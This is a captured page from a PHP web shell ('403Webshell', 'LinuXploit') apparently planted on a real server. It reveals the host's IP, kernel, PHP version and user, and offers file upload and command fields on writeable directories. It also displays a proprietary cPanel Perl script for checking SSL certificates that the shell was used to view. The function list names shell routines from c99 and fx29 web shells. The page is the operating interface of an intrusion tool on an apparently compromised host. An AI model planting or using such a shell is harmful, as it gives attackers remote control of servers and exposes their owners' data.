403Webshell
Server IP : 103.119.228.120  /  Your IP : 3.147.62.99
Web Server : Apache
System : Linux v8.techscape8.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64
User : nobody ( 99)
PHP Version : 5.6.40
Disable Function : shell_exec,symlink,system,exec,proc_get_status,proc_nice,proc_terminate,define_syslog_variables,syslog,openlog,closelog,escapeshellcmd,passthru,ocinum cols,ini_alter,leak,listen,chgrp,apache_note,apache_setenv,debugger_on,debugger_off,ftp_exec,dl,dll,myshellexec,proc_open,socket_bind,proc_close,escapeshellarg,parse_ini_filepopen,fpassthru,exec,passthru,escapeshellarg,escapeshellcmd,proc_close,proc_open,ini_alter,popen,show_source,proc_nice,proc_terminate,proc_get_status,proc_close,pfsockopen,leak,apache_child_terminate,posix_kill,posix_mkfifo,posix_setpgid,posix_setsid,posix_setuid,dl,symlink,shell_exec,system,dl,passthru,escapeshellarg,escapeshellcmd,myshellexec,c99_buff_prepare,c99_sess_put,fpassthru,getdisfunc,fx29exec,fx29exec2,is_windows,disp_freespace,fx29sh_getupdate,fx29_buff_prepare,fx29_sess_put,fx29shexit,fx29fsearch,fx29ftpbrutecheck,fx29sh_tools,fx29sh_about,milw0rm,imagez,sh_name,myshellexec,checkproxyhost,dosyayicek,c99_buff_prepare,c99_sess_put,c99getsource,c99sh_getupdate,c99fsearch,c99shexit,view_perms,posix_getpwuid,posix_getgrgid,posix_kill,parse_perms,parsesort,view_perms_color,set_encoder_input,ls_setcheckboxall,ls_reverse_all,rsg_read,rsg_glob,selfURL,dispsecinfo,unix2DosTime,addFile,system,get_users,view_size,DirFiles,DirFilesWide,DirPrintHTMLHeaders,GetFilesTotal,GetTitles,GetTimeTotal,GetMatchesCount,GetFileMatchesCount,GetResultFiles,fs_copy_dir,fs_copy_obj,fs_move_dir,fs_move_obj,fs_rmdir,SearchText,getmicrotime
MySQL : ON |  cURL : ON |  WGET : ON |  Perl : ON |  Python : ON |  Sudo : ON |  Pkexec : ON
Directory :  /scripts/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /scripts/ssl_crt_status
#!/usr/local/cpanel/3rdparty/bin/perl

# cpanel - scripts/ssl_crt_status                  Copyright 2022 cPanel, L.L.C.
#                                                           All rights reserved.
# copyright@cpanel.net                                         http://cpanel.net
# This code is subject to the cPanel license. Unauthorized copying is prohibited

package scripts::ssl_crt_status;

use strict;
use warnings;

use Cpanel::SSLPath                 ();
use Cpanel::SSLInfo                 ();
use Getopt::Param                   ();
use Cpanel::StringFunc              ();
use Cpanel::ArrayFunc               ();
use Term::ANSIColor                 ();
use Cpanel::Config::LoadUserDomains ();
use Cpanel::Hostname                ();

__PACKAGE__->run() unless caller();

sub run {
    my $param = Getopt::Param->new(
        {
            'quiet'        => 0,
            'help_coderef' => sub {
                print <<"END_HELP";
$0 - give a status report of the server's SSL certificates

    --help          this screen
    --verbose       show more than just errors
    --verbose=long  include verification result of valid crts

By default it will check every domain, you can specify one or more specific
domains to check by passing one or more --domain flags:

    --domain=your.domain.here --domain=other.domain.here

END_HELP
                exit;
            },
        }
    );

    my $debug   = $param->get_param('debug');
    my $verbose = $param->get_param('verbose');

    my @domains = Cpanel::ArrayFunc::uniq_from_arrayrefs( [ $param->exists_param('domain') ? $param->get_param('domain') : ( Cpanel::Hostname::gethostname(), grep( !/^\*/, sort keys %{ Cpanel::Config::LoadUserDomains::loaduserdomains( undef, 1 ) } ) ) ] );

    if ( grep /^--domain$/, @domains ) {
        print "Domain must be unambiguously specified in this format --domain=fqdn.tld\n\n";
        $param->help();
    }

    my $sslroot = Cpanel::SSLPath::getsslroot();

    print "[info] SSL root: $sslroot\n" if $verbose;

    if ($debug) {
        require Data::Dumper;
    }

    # fetchinfo() is and verifysslcert() may still be "loud"
    close STDERR;                     # just to be on the safe side
    open STDERR, '>', '/dev/null';    ## no critic qw(InputOutput::RequireCheckedOpen)

    for my $domain (@domains) {
        my $ssl_info_hr = Cpanel::SSLInfo::fetchinfo($domain);

        if ($debug) {
            print Data::Dumper::Dumper($ssl_info_hr);
        }
        if ( $ssl_info_hr->{'statusmsg'} =~ /^No certificate for the domain \S+ could be found[.]$/ ) {
            if ($verbose) {
                print Term::ANSIColor::color 'bold blue';
                print "Ok: $domain does not have an SSL crt\n";
                print Term::ANSIColor::color 'reset';
            }
        }
        else {
            my ( $rc, $msg ) = Cpanel::SSLInfo::verifysslcert(
                $sslroot,
                $ssl_info_hr->{'crt'},
                $ssl_info_hr->{'key'},
                $ssl_info_hr->{'cab'},
                1,    # makes verifysslcert() not do any print()s
                1,    # makes verifysslcert() return plain text instead of HTML
            );

            if ($rc) {
                if ($verbose) {
                    print Term::ANSIColor::color 'bold green';
                    print "Ok: $domain SSL crt verified\n";
                    print Term::ANSIColor::color 'reset';
                    if ( $verbose eq 'long' ) {
                        print Cpanel::StringFunc::indent_string($msg) . "\n";
                    }
                }
            }
            else {
                print Term::ANSIColor::color 'bold red';
                print "Error: $domain SSL crt verification failed:\n";
                print Term::ANSIColor::color 'reset';
                print Cpanel::StringFunc::indent_string($msg) . "\n";
            }
        }
    }
    return 1;
}
1;

Youez - 2016 - github.com/yon3zu
LinuXploit